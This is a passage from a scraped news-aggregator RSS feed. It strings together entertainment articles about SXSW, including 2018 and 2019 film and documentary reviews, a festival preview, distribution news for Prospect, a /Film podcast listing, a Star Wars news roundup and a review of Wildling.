Writer/director Tom Cullen (who co-starred in Weekend) helms this intensely intimate and at times uncomfortable character study, which hopscotches through six years of a complicated relationship. Tatiana Maslany and Jay Duplass forcefully capture the specific rhythms of both an old and new couple — the giddiness with which they open themselves up initially, and then how they’ll go for those soft spots later, and push on them until they bruise. There are scenes here that are so personal, it feels like we shouldn’t even be in the room. But we are, and the authenticity of these moments, of both great joy and great pain, is astonishing.

The Weekend

Stella Meghie’s latest falls into the grand tradition of Obvious Child and The Incredible Jessica James: films that seem designed to turn a quirky supporting player into a straight-up movie star. The beneficiary this time around is Saturday Night Live’s Sasheer Zamata, who boasts killer charisma, sly comic timing, and a toolbox of pettiness and shade that is downright aspirational. She plays a struggling stand-up who spends a weekend at her mom’s country bed-and-breakfast with her ex-boyfriend — they’ve remained “friends,” you see — and his new girlfriend. I could frankly watch an entire movie of Zamata humiliating said girlfriend, and The Weekend is nearly that. But Meghie’s razor-sharp script isn’t afraid of the emotions its characters are hiding, and she knows exactly how real to get, for how long. It’s a wise, sexy treat.

Alessandro Nivola    Charlize Theron    Damian Lewis    Dave Bautista    Gabriela Calvache    Harmony Korine    jay duplass    Jemaine Clement    Jesse Eisenberg    Jillian Bell    Jon Bass    Jonathan Levine    jordan peele    Kumail Nanjiani    Lupita Nyong’o    Lynn Shelton    Marc Maron    Matthew McConaughey    Michaela Watkins    Ricky Tollman    Riley Sterns    Sasheer Zamata    Seth Rogen    Stella Meghie    SXSW 2019    Taikia Waititi    Tatiana Maslany    Tom Cullen    What We Do in the Shadows

Let’s block ads! (Why?)


https://flavorwire.files.wordpress.com/2019/03/sxsw-narr-banner.png

]]> https://briefnews.eu/the-best-and-worst-movies-of-the-2019-sxsw-film-festival/feed/ 0 The Best and Worst Documentaries of the 2019 SXSW Film Festival https://briefnews.eu/the-best-and-worst-documentaries-of-the-2019-sxsw-film-festival/ https://briefnews.eu/the-best-and-worst-documentaries-of-the-2019-sxsw-film-festival/#respond Sat, 16 Mar 2019 05:08:28 +0000 http://briefnews.eu/the-best-and-worst-documentaries-of-the-2019-sxsw-film-festival/ AUSTIN, TX: The 33rd annual SXSW Conference and Festivals is winding down this weekend — as is the 26th edition of the SXSW Film Festival, which your correspondent was lucky enough to spend the past week or so covering. I made an effort to split my viewing, as equally as possible, between the festival’s fiction and non-fiction offerings; our rundown of those narrative selections will run on Monday, but I wanted to share some documentary recommendations today, for you Austin natives or fest visitors who are in it for the long haul.

SXSW doesn’t get a lot of credit for its documentary slate (I typically hear more about the offerings at Sundance, Tribeca, and specialty festivals like True/False), perhaps because their selections tend to check the same boxes every year. But some of these are awfully good.

THE OUTLIER

The Hottest August

The set-up for Brett Story’s observational documentary is simplicity itself. Over the course of one month, August of 2017, she interviews several New Yorkers about the things that are important to them: family, work, fitness, preservation, dance, investment, and (swear to God) “robot communism.” But these aren’t just snapshots of regular folks; Story and cinematographer Derek Howard are speaking volumes in the way they see and show all of these people, and display a savvy understanding and articulation of exactly what American life is at this particular, peculiar moment.

(SXSW)


SXSW SPECIALS

“Stern warning of the dangers of technology gone amuck that toasts the brave digital warriors who are holding down the fort” and “Affectionate celebration of a rascally chef” aren’t exactly revolutionary additions to the SXSW slate, but these are still worth a look.

Bellingcat: Truth in a Post-Truth World

This peek into the “open source journalism” of the online collective Bellingcat is enlightening and informative, delving into how they conduct investigations of image identification, geolocation, and disinformation campaigns by following the digital crumbs. Director Hans Pool wisely adopts a tone and style akin to a thriller, with moody photography and intrigue-dripping music. But the film could do with a bit more skepticism; it only gives the briefest of lip service to legitimate concerns about lack of conventional expertise, and then only to note that they’re often adopted by voices with significant ulterior motives. We can’t take anyone entirely at their word — that is, after all, one of the lessons of the movie.

Nothing Fancy: Diana Kennedy

“I’ve had a funny life, let’s face it.” So says Ms. Kennedy early in this bio-documentary, and she’s not wrong. Ninety-five and kicking at the time of its production, Kennedy is a white British woman who’s become the foremost English-speaking expert on Mexican cuisine. And she isn’t just a TV and cookbook cook; she’s a historian, working to preserve the tradition via research and publication. Director Elizabeth Carroll doesn’t really draw outside the lines much, stylistically speaking (and that’s fine; hell, it’s right there in the title), but her camera is in the right places at the right times, and this is a persuasive portrait of a dazzling woman — and a real firecracker.

(SXSW)

ELECTION SEASON

Since Robert Drew and company’s “Primary” back in 1960, the campaign-trail documentary has been one of the most reliable non-fiction standbys. Such films seem particularly urgent right now, and these two spotlight two rising stars in the Democratic party, with varying success.

Running With Beto

Seeing David Modigliani’s account of Beto O’Rourke’s underdog 2016 campaign to unseat Ted Cruz, right in the heart of Austin, was sort of like going to a Beto rally; the premiere crowd sounded like supporters, duly cheering his successes and hissing for his opponents. Taken on its own terms, Modiglianis film is reasonably engaging, if a little standard — it captures human moments, provides what seems an authentic portrait of its subject, and finds side characters in his staff and volunteers who are equally compelling, if not more so. But the film is ultimately hobbled by the fact that it ends with a defeat, which kind of takes the air out of what comes before; Rachel Maddow is seen, on election night, saying that the loss “feels like a blunt ending,” and she’s not wrong.

Knock Down the House

Rachel Lears’ documentary has been dubbed “the AOC movie” since it premiered at Sundance, and it’s important to note that it’s not just a profile of the insurgent candidate from the Bronx and her come-from-behind primary victory over longtime Representative Joe Crowley in New York’s 14th. Lears and her team also follow three more women, from West Virginia, Missouri, and Nevada, who mounted primary challenges against Centrist Dems. But Alexandria Ocasio-Cortez certainly gets the majority of screen time, and there’s nothing wrong with that; she gives the best sound bytes (“Everyday Americans deserve to be represented by everyday Americans”), and her victory, after the other three defeats, gives the picture a necessary closing lift. But Knock Down isn’t just a puff piece; it’s a funny, sharp doc, moving at a good clip and providing notes of both realism and inspiration.

(SXSW)

IT’S ALSO A MUSIC FESTIVAL

SXSW began as a music festival, and is perhaps still best known as such, so it’s not surprising that the film side’s programmers go out of their way to show movies about music. Most are scheduled towards the end of the fest, when the music folks take over, but I caught a couple before heading out of town.

The Boy Band Con: The Lou Pearlman Story

Based on the subject matter and the producer credit for Lance Bass, I expected this documentary on the crooked impresario behind *NSYNC, Backstreet Boys, Aaron Carter, and O-Town to be, basically, a Behind the Music situation — and for the first half hour or so, it is. But director Aaron Kunkel has more on his mind, crafting not only an exposé of Pearlman’s dirty deals, but a psychological profile of a pathological liar and crook, and then the story of a Madoff-style fleecing. It’s a rise and fall story, meticulously detailed and full of fascinating, upsetting sidebars, and even some rather tasty tea.

Carmine Street Guitars

Rick Kelly has spent decades working out of the title shop in Greenwich Village, building custom guitars with wood rescued from torn-down NYC buildings — “the bones of old New York,” as he puts it. Ron Mann’s documentary eschews most of the standard devices; there’s no narration, no talking heads, no archival materials. He just spends a few days hanging out in the shop, watching Rick and his apprentice Cindy work, and eavesdropping as musicians and Village figures (including Lenny Kaye, Bill Frisell, Wilco’s Nels Cline, and the Roots’ Kirk Douglas) pop in to shoot the breeze and play music. They end up doing the interviewing, and if some of the conversations sound a bit too staged, that’s a minor complaint; this is a lovely little movie, propelled by genuine affection for music, craftsmanship, and the city New York used to be.

(SXSW)

FUNNY PEOPLE

Fun fact: there’s also a simultaneous SXSW Comedy Festival, and wouldn’t you know it, some of the documentaries tie in nicely to that as well.

It Started As a Joke

Eugene Mirman proposed the idea late one night, a little bit drunk: “What if we made a festival that’s just making fun of other festivals?” But this chronicle of the 10-year run of the Eugene Mirman Comedy Festival isn’t just a “how they did it” affair, with clips and stills from shows with titles like “Yikes! Most of These Comedians Were Born After ‘Police Academy 2’ Was in Theaters!” It’s also a portrait of a specific moment in the burgeoning Brooklyn comedy scene, before everybody moved out to L.A. and got good jobs. And it’s a warm and inviting bio-doc of Mirman, one of the funniest and most delightful people in comedy, who put all of this together while dealing with unthinkable personal troubles. And on top of all of that, there’s a lot of really good stand-up too.

I Am Richard Pryor

Here’s the thing: there was a really excellent Richard Pryor bio-doc not that long ago (2015, to be exact) called Richard Pryor: Omit the Logic. And while this one offers up a few new anecdotes and a couple of valuable new interview subjects (and a few that are, to put it politely, less so), it’s hard to find a convincing reason for it to simultaneously exist. Early on, director Jesse James Miller seems interested less in biography that sociological perspective, which would’ve been a smarter way to go, but it soon descends into the same journey as Logic (and his 2014 PBS profile Icon, and his 2003 Comedy Central documentary). The earlier film has a more confident sense of storytelling; may as well seek that one out. Or better yet, just listen to some Richard Pryor albums.

(SXSW)

MOOOOOOVIES

But this is the cleanest tie-in of all: people who go to film festivals like seeing movies about movies. These two programs helped curious viewers rethink some of the most ubiquitous movies of our lifetime.

Joe Bob Briggs: How the Redneck Saved Hollywood

To be clear, this was not a documentary per se (though I could certainly see it being made into one); Joe Bob Briggs appeared live at the Alamo Drafthouse to front his multi-media presentation about the redneck in cinema, and in American life in general. A jokey but affectionate tribute to movies with titles like Country Cuzzins, this was an evening full of great clips, common sense ultimatums (“You’re either a Forrest Gump person or a Sling Blade person”), jaw-dropping discoveries (I have a whole list of things to look up and track down) and good one-liners (“In the movies it would be called ‘moonshine’; today it’d be called ‘artisanal craft bourbon’”).

Romantic Comedy

Director Elizabeth Sankey (and a handful of additional contributors) revisit and comment on the tropes, rules, and messaging — sometimes subtle, sometimes not — of contemporary romantic comedy in this thoughtful and thought-provoking essay film. “This is how dominant romantic comedies have been in my life,” she explains, revisiting the life they helped her envision, the promises they made, and the regressive ideas they implanted. Sankey covers a lot of ground in her compact 78-minute running time, illustrating her points with inventive supercuts and ingenious juxtapositions, and while there are occasional, minor issues of context (some of these clips are themselves critiquing the tropes they’re presented as exemplifying), this is an exuberant and insightful work of necessary film criticism.

Alexandria Ocasio-Cortez    Backstreet Boys    Beto O’Rourke    Eugene Mirman    Joe Bob Briggs    Lance Bass    NSYNC    Richard Pryor    SXSW 2019

Let’s block ads! (Why?)


https://flavorwire.files.wordpress.com/2019/03/sxsw-docs.png

]]> https://briefnews.eu/the-best-and-worst-documentaries-of-the-2019-sxsw-film-festival/feed/ 0 10 SXSW Movies We Can’t Wait to See https://briefnews.eu/10-sxsw-movies-we-cant-wait-to-see-2/ https://briefnews.eu/10-sxsw-movies-we-cant-wait-to-see-2/#respond Thu, 07 Mar 2019 21:46:09 +0000 http://briefnews.eu/10-sxsw-movies-we-cant-wait-to-see-2/ As this piece is published, your humble correspondent is en route to Austin, Texas for the 33rd annual SXSW Conference and Festivals – specifically, the 26th edition of the SXSW Film Festival, which has always been one of my favorite places to see exciting new genre movies, documentaries, and crowd-pleasers. SXSW stands out on the festival circuit in one major way: while most film fests offer visiting critics the opportunity to see their movies at press and industry-only screenings, SXSW insists that we see all the movies with the rest of the festival-goers. And that spirit of unity and camaraderie – and the rowdy atmosphere when one is really going over – is part of what makes this festival such a pleasure to attend and cover.

This year’s slate is full of exciting premieres and chances to check out faves from the festival circuit; here are a few I can’t wait to see.

(SXSW)


Us

This year’s Opening Night selection is one of the most feverishly anticipated pictures of the year: writer/director Jordan Peele’s follow-up to his Academy Award-winning, commercially and culturally groundbreaking hit Get Out. Based on its trailer, this one looks like a sharp-edged examination of black identity in the Trump era. Or it could just be a really freaky thriller. That’s fine too! Lupita Nyong’o, Winston Duke, Elisabeth Moss, and Tim Heidecker star.

Chris Morris    Harmony Korine    Jemaine Clement    jordan peele    Lynn Shelton    Numa Perrier    Olivia Wilde    Robert Rodriguez    Stella Meghie    SXSW 2019    Taika Waititi    The Beach Bum    US    What We Do in the Shadows

Let’s block ads! (Why?)


https://flavorwire.files.wordpress.com/2019/03/sxsw-preview.png

]]> https://briefnews.eu/10-sxsw-movies-we-cant-wait-to-see-2/feed/ 0 #Romanovs100 & #1917LIVE to showcase at America's biggest education forum SXSW EDU 2019 https://briefnews.eu/romanovs100-1917live-to-showcase-at-americas-biggest-education-forum-sxsw-edu-2019/ https://briefnews.eu/romanovs100-1917live-to-showcase-at-americas-biggest-education-forum-sxsw-edu-2019/#respond Wed, 17 Oct 2018 19:36:26 +0000 http://briefnews.eu/romanovs100-1917live-to-showcase-at-americas-biggest-education-forum-sxsw-edu-2019/

Educational history projects #Romanovs100 & #1917LIVE panel at America’s major education fair SXSW EDU will take place in March 2019.

SXSW EDU will run for the 9th time since 2011 when South by Southwest branched out into a separate education festival. A prestigious international platform, SXSW EDU supports the community’s desire to connect, collaborate and impact the future of education.

Thanks to a three-stage vote including an open vote, the team behind #Romanovs100 and #1917LIVE will host a panel at the festival in Texas in 2019. While historian Helen Rappaport will travel all the way from England, the project’s other contributor, Artist Marina Amaral will fly over from Brazil.

Both projects are dedicated to Russian history, but work on reviving the events of early 20th century has become truly international with the Moscow-based team reaching out to professionals and history enthusiasts from all over the world. Award-winning #1917LIVE ran for a year in 2017 on Twitter, allowing any user to join as a historical character who lived through the Russian Revolution of 1917 and tweet on their behalf, as if social media existed 100 years ago.

It was followed by #Romanovs100 with accounts on 4 social networks reviewing the last decades of the Empire as seen through the lenses of the Romanov family’s cameras, each platform showcasing its own narrative, format and content. #Romanovs100 features short documentary videos, original music, 100-year-old photos in spherical mobile view, digital colorization, an artwork contest, real-time blogs by historical characters, VR animation and more.

The team would like to thank everyone who cast their vote for the projects making this panel possible. #Romanovs100 shortly plan to release an original soundtrack with music written by prominent Russian musician, Peter Nalich. It will be available for download for free.

Subscribe to RT newsletter to get stories the mainstream media won’t tell you.

Let’s block ads! (Why?)

]]> https://briefnews.eu/romanovs100-1917live-to-showcase-at-americas-biggest-education-forum-sxsw-edu-2019/feed/ 0 SXSW Favorite ‘Prospect’ Nabs Distribution Under Gunpowder & Sky https://briefnews.eu/sxsw-favorite-prospect-nabs-distribution-under-gunpowder-sky/ https://briefnews.eu/sxsw-favorite-prospect-nabs-distribution-under-gunpowder-sky/#respond Sun, 13 May 2018 18:06:20 +0000 http://briefnews.eu/sxsw-favorite-prospect-nabs-distribution-under-gunpowder-sky/ prospect distribution

Prospect‘s prospects are looking bright. The indie sci-fi film starring Pedro Pascal earned raves at South by Southwest, where it quickly became a film festival favorite. And now, Gunpowder & Sky have stepped in to handle the Prospect distribution.

Gunpowder & Sky has acquired worldwide rights to Prospect, according to Variety.

The relatively new digital content studio launched by Van Toffler and backed by AT&T and Chernin Group has been building an eclectic, auteur-driven catalogue, also buying Sundance hits Hearts Beat Loud and Summer of 84. Now it has nabbed Prospect, a film that made a big splash at SXSW earlier this year.

Gunpowder & Sky will release the film theatrically in the U.S. later this year through its sci-fi label Dust. It’s part of the company’s shift to focus on sci-fi as the genre is poised to take over the pop culture zeitgeist. Co-founder and president of Gunpowder & Sky, Floris Bauer, said.

“Science-fiction explores what it means to be human and where we’re heading as humans. We’re living in times where technology is accelerating at a faster and faster rate.”

Directed by Zeek Earl, Chris Caldwell, Prospect follows a teenage girl and her father (Pascal) who travel to a remote moon looking to strike it rich by harvesting a large gem deposit. But things immediately go wrong, and the father and daughter are forced into a desperate fight for survival against hostile natives.

In his Prospect review from SXSW, /Film’s Jacob Hall called it “the best indie science fiction movie since Moon, adding:

“Prospect is the kind of science fiction movie we need to see more often, told by filmmakers who don’t allow the vastness of their vision to get beaten down by the scope they’re able to work within. It’s an enthralling tale of trust, survival and redemption set in a universe that demands additional exploration.”

Prospect stars Sophie Thatcher, Jay Duplass, Sheila Vand, Andre Royo, and Anwan Glover.

Independent will handle sales outside the U.S. Prospect is also being shopped around at Cannes, where the London-based sales firm also will screen for potential buyers.

No domestic release date for Prospect has yet been set.

The post SXSW Favorite ‘Prospect’ Nabs Distribution Under Gunpowder & Sky appeared first on /Film.

]]> https://briefnews.eu/sxsw-favorite-prospect-nabs-distribution-under-gunpowder-sky/feed/ 0 Daily Podcast: The Best Films & TV Of SXSW 2018, Shia LaBeouf, John Musker, Chopping Mall, Weinstein & Justice League https://briefnews.eu/daily-podcast-the-best-films-tv-of-sxsw-2018-shia-labeouf-john-musker-chopping-mall-weinstein-justice-league/ https://briefnews.eu/daily-podcast-the-best-films-tv-of-sxsw-2018-shia-labeouf-john-musker-chopping-mall-weinstein-justice-league/#respond Wed, 21 Mar 2018 00:44:57 +0000 http://briefnews.eu/daily-podcast-the-best-films-tv-of-sxsw-2018-shia-labeouf-john-musker-chopping-mall-weinstein-justice-league/ On the March 20, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by writers Hoai-Tran Bui and Chris Evangelista to talk about Shia LaBeouf, John Musker, movie theater accidents, Chopping Mall, The Weinstein Company, and Justice League. And in Our Feature Presentation, /Film Managing Editor Jacob Hall joins us to talk about the best films he saw at SXSW 2018.

You can subscribe to /Film Daily on iTunes, Google Play, Overcast and all the popular podcast apps (here is the RSS URL if you need it).


In the News:

In Our Feature Presentation, Jacob Hall talks about the best films he saw at SXSW 2018.

Other posts referenced in this episode

You can find more about all the stories we mentioned on today’s show at slashfilm.com. /Film Daily is published every weekday, bringing you the most exciting news from the world of movies and television as well as deeper dives into the great features from slashfilm.com. You can subscribe to /Film Daily on iTunes, Google Play, Overcast and all the popular podcast apps (RSS). Please feel free to send your feedback, questions or comments to us at peter@slashfilm.com and leave your name and general geographic location in case we mention the e-mail on the air. Please rate and review the podcast on iTunes and spread the word! Thanks to Sam Hume for our logo.

The post Daily Podcast: The Best Films & TV Of SXSW 2018, Shia LaBeouf, John Musker, Chopping Mall, Weinstein & Justice League appeared first on /Film.

]]> https://briefnews.eu/daily-podcast-the-best-films-tv-of-sxsw-2018-shia-labeouf-john-musker-chopping-mall-weinstein-justice-league/feed/ 0 Star Wars Bits: ‘The Last Jedi’ Hits SXSW, John Boyega Solves a Mystery, and ‘Rebels’ Says Goodbye https://briefnews.eu/star-wars-bits-the-last-jedi-hits-sxsw-john-boyega-solves-a-mystery-and-rebels-says-goodbye/ https://briefnews.eu/star-wars-bits-the-last-jedi-hits-sxsw-john-boyega-solves-a-mystery-and-rebels-says-goodbye/#respond Mon, 19 Mar 2018 06:58:17 +0000 http://briefnews.eu/star-wars-bits-the-last-jedi-hits-sxsw-john-boyega-solves-a-mystery-and-rebels-says-goodbye/ Star Wars The Last Jedi Documentary

In this edition of Star Wars Bits:

  • Star Wars: The Last Jedi takes over SXSW
  • JOhn Boyega isn’t a fan of Finn’s fight with Phasma
  • Mark Hamill dream casts a young Luke Skywalker
  • Dave Filoni hints that Jacen Syndulla may return
  • And much more…

Star Wars The Last Jedi Deleted Scenes
John Boyega quickly became one of the most beloved members of the Star Wars cast after his role as rogue Stormtrooper Finn in The Force Awakens. So it was with much anticipation that fans waited to see him take down his former foe, Captain Phasma, in The Last Jedi. But some fans were left unsatisfied by the short battle, and as it turns out, so was Boyega! “I didn’t expect it to be that quick if I’m being honest with you. I was like, wait, wait, what? He’s been like ramped up for a big fight and then it was over in a second,” Boyega told IGN.

The hatred among some for porgs has slightly died down now that The Last Jedi has left theaters, but fans of the cuddly critters are still celebrating them. In a super cute video from Leupsi some very cute animated porgs dance to a remix of the Cantina song from A New Hope! And we love EVERY SECOND OF IT!!

Mark Hamill Walk of Fame

The Last Jedi saw us say goodbye to the original young Jedi, Luke Skywalker, and fans were devastated. Hamill, on the other hand, has his own theory, and in this interview with Entertainment Weekly, he shared his wish for the farm boy from Tattooine. “My favorite is the fact that maybe he transported to somewhere else. And I thought, ‘Well, if he left his robes behind he’d have to go to a nudist colony,’” Hamill laughed.

Claudia Gray has been creating fantastic Star Wars novels since her Lost Stars. So we were super stoked when we found out (per Fanthatracks) that LINE Manga will be adapting her gorgeous Princess Leia prequel, Leia, Princess of Alderaan. The new series will launch on May 4 and focuses on Leia’s first steps towards joining the Rebellion.

Mark Hamill has been a busy boy recently, promoting the Star Wars: The Last Jedi Blu-ray and DVD release as well as visiting SXSW right after getting a long overdue star on the Hollywood Walk of Fame. If you didn’t make it down to the El Capitan, you can luckily watch the full ceremony here.


During a recent interview with Yahoo on the Pacific Rim press trail, John Boyega solved the mystery of those behind the scenes shots which saw him with a completely different style from his The Last Jedi look. See, Boyega wasn’t in production and was just screen testing with Kelly Marie Tran! He also had some thoughts about Han Solo’s death in The Force Awakens, saying “Han knows what he got into walking onto that damn bridge!”


If you’ve always wanted to spend almost $ 500 on a ridiculously detailed scale recreation of Jabba’s sail barge from Return of The Jedi, then you’re in luck! Comic Book Dot Com got a sneak peak at the brand new HasLab – Hasbro’s crowd funding platform – vintage collection model, which is just the coolest and most outrageous thing we’ve seen in a while.

The Last Jedi novelization has been a massive talking point among fans, as the book has expanded on multiple themes and threads that the movie set up. The book’s author Jason Fry has written an intriguing article for the official Star Wars website about how the new book connects to multiple other new canon stories and comics.

AT AT Star Wars 7

Ever wanted to build a massive AT-AT? Well, Kyle Gilbert did just that for an event at his local church. The 17-foot sculpture is truly a sight to behold and you can get a look at it at StarWars.com!


Star Wars toys have long been some of the most collectable figures in the galaxy, but as the years have passed and the fandom has grown, the toys have gone from 6-inch barely poseable figures to huge customizable collections. Nerdist recently revealed that Jabba the Hutt is the newest character to get a super detailed action figure from Sideshow Toys, and you can customize him to your heart’s content!

Star Wars: The Last Jedi Training Featurette
Daisy Ridley has been working the press trail for Star Wars: The Last Jedi, and in a recent Facebook Q&A, she opened up about Rey’s strength and her philosophies about the character, stating, “I don’t really believe in weaknesses in people because I think you can’t decide what’s good and what’s bad in a person. Everything makes the whole and the whole is greater than the sum of the parts, as we know.” We’ve missed Daisy and love hearing her wax lyrical about what makes Rey tick!

After the emotional finale of Rebels, Star Wars fans are reeling, desperate to know the fate of the beloved young Jedi at the heart of the show. Luckily for us, the actor who brought Ezra to life, Taylor Grey, talks about Rebels and the journey his character took over four seasons.

Star Wars Explained was also celebrating the end of Rebels with this super-sized video exploring over 80 bits of trivia, easter eggs, and facts in the wake of the finale. It’s a must watch for fans already missing the crew of the Ghost and their adventures on Lothal.

One of the most iconic parts of any Star Wars film is the score, and Ron Howard recently confirmed in a Tweet that John Powell has begun scoring Solo: A Star Wars Story in London’s Abbey Road. We’re die hard John Williams fans, but have enjoyed hearing what other musicians and composers are bringing to the new Star Wars universe. We can’t wait to see what Powell has up his sleeve.

With the ever-expanding world of Star Wars, every character has the chance of being revisited and reimagined. So, of course, fans are looking to the OG Jedi, Luke Skywalker. Though fans seem to want Sebastian Stan to take on the role, Mark Hamill has other ideas. “If they have – like they do now – with five or six plots, and you’re cutting to what’s going on all around him and they keep coming back to a really young Luke, I thought, ‘The one I love is Jacob Tremblay,’” Hamill told Variety.

Star Tours The Last Jedi
Reporting from the Star Wars: The Last Jedi documentary event at SXSW, Inverse managed to get some great quotes from the director about Mark Hamill’s journey with the character of Luke. “It was a big deal for Mark to realize his character was taking a different turn than he expected,” Anthony Wonke said. This fantastic doc is included on both the digital and Blu-ray versions of The Last Jedi.

star wars rebels new character
There was a lot to take away from the finale of Star Wars Rebels, but one small reference that made a lot of old school fans get very, very excited was the introduction of a new canon character named Jacen. A reference to a beloved Expanded Universe character, Dave Filoni has since hinted to Io9 that we may see Jacen Syndulla again. “I thought that’s a little bit of a wink to people that I know that was an important character. And maybe, in some way, that lives on through this character. I don’t know yet,” Filoni explained.

Star Wars The Last Jedi - Mark Hamill as Luke Skywalker
The Last Jedi novelization has been the source of many leaks, twists, and teases, but as reported by Screen Rant it also reveals Luke originally wanted to leave Ahch-To with Rey and join the Resistance once again. This moving revelation will likely be bittersweet to fans who wish they could’ve seen their hero truly stand with the Resistance one more time.


Rey’s parentage has been one of the most contentious and highly debated topics since the release of The Force Awakens, but with The Last Jedi the conversation was closed as Kylo revealed Rey’s parents were “nobodies.” An incredible new essay at StarWars.com explores how Rey’s cave vision echoed some other lost orphans before her, namely Luke and Anakin Skywalker.

The post Star Wars Bits: ‘The Last Jedi’ Hits SXSW, John Boyega Solves a Mystery, and ‘Rebels’ Says Goodbye appeared first on /Film.

]]> https://briefnews.eu/star-wars-bits-the-last-jedi-hits-sxsw-john-boyega-solves-a-mystery-and-rebels-says-goodbye/feed/ 0 ‘Wildling’ Review: A Creature Feature About the Fear of Teenage Sexuality [SXSW] https://briefnews.eu/wildling-review-a-creature-feature-about-the-fear-of-teenage-sexuality-sxsw/ https://briefnews.eu/wildling-review-a-creature-feature-about-the-fear-of-teenage-sexuality-sxsw/#respond Sat, 17 Mar 2018 21:09:02 +0000 http://briefnews.eu/wildling-review-a-creature-feature-about-the-fear-of-teenage-sexuality-sxsw/ Wildling Review

Wildling is Fritz Böhm’s first feature film, and it’s such an assured debut, darkly mystical and elegant. This nighttime fairy tale tells the story of Anna (Bel Powley), a young woman who’s spent much of her life locked in a room like Rapunzel, with only “Daddy” (Lord of the Rings’ Brad Dourif, in an equally untrustworthy role) as company.

Daddy treats Anna with tenderness, warning her against “the wildling” that stalks the woods surrounding their remote fairy tale tower. He seems loving and protective – but he’s also keeping Anna in seclusion. We watch her grow from toddlerhood to young womanhood in the confines of the same tiny room – and all the while we keep seeing Daddy inject a mysterious substance into Anna’s tummy. These opening scenes are disorienting, diving right into the narrative instead of offering any tidy context, immediately eliciting intrigue and perplexity from the audience. The context comes later, as Wildling’s story grows clearer but never less strange.

Eventually, circumstances arise that free Anna, and she makes her way to a nearby small town, baffled by everything she sees, this grand, scary world outside the four walls she’s always known. The town’s sheriff (Liv Tyler as Ellen) takes Anna under her temporary custody, horrified by the girl’s tragic history. Ellen learns that Daddy was injecting Anna with hormones to keep her from arriving at sexual maturity, and under the safety of Ellen’s roof, Anna is finally allowed to reach puberty, at the same time growing closer to Ellen’s teen brother Ray (Collin Kelly-Sordelet).

Anna’s story grows much twistier at this point, and we spend the rest of the film watching this wide-eyed young woman navigate the precarious territory of sexual adolescence, with a darkly supernatural element complicating matters. Powley has a childlike, otherworldly quality about her beauty, and her movements are delicate and vulnerable as a newborn fawn’s. She and Tyler make a lovely duo, with Tyler’s innate warmth surrounding Powley, this protective aura around a girl who has been through so much, and who both needs and deserves the love of a mother figure after her abject treatment from Daddy.

As much as this is a beautiful story about the importance of sisterhood in the journey from child to woman, it’s also a really cool monster movie that goes to some very weird and creepy places. The creature effects are pretty great, and The Wildling never shies away from gore, violence or sex – but it’s all presented in such a deliberate, graceful way, never exploitative of this tricky subject matter.

It’s a lovely film to look at, with lush, macabre cinematography from Get Out’s Toby Oliver. Almost every shot feels like something out of Germany’s Black Forest, the birthplace of fairy tales, wild and gorgeous and dangerous. Paul Haslinger’s score is unnerving, as is the sound design, all culminating in a film that always feels fabled, a strange, beautiful tableau in which we become lost and can never be too comfortable. It goes to some unsuspecting places, but never loses the heart of an intimate, coming-of-age story that just so happens to feature monsters.

Wildling is, at its center, a story about the fear fathers have of their daughters’ sexuality, and the great and ultimately misguided lengths they will go to in order to keep their little girls little forever. (In a very weird way, it would make an interesting double feature with SXSW’s headliner comedy Blockers for that reason.) Liv Tyler’s Ellen is a beacon of reason here, the wise and loving matriarch who understands that Anna must be able to reach womanhood regardless of the complications that might come with that growth. It’s a really smart approach to an ageless tale, and putting aside all deeper meaning, Wildling works on its surface as a cool and spooky monster movie with great performances and some extremely effective gore.

Wildling hits theaters on April 13, 2018.

/Film Rating: 8 out of 10

The post ‘Wildling’ Review: A Creature Feature About the Fear of Teenage Sexuality [SXSW] appeared first on /Film.

]]> https://briefnews.eu/wildling-review-a-creature-feature-about-the-fear-of-teenage-sexuality-sxsw/feed/ 0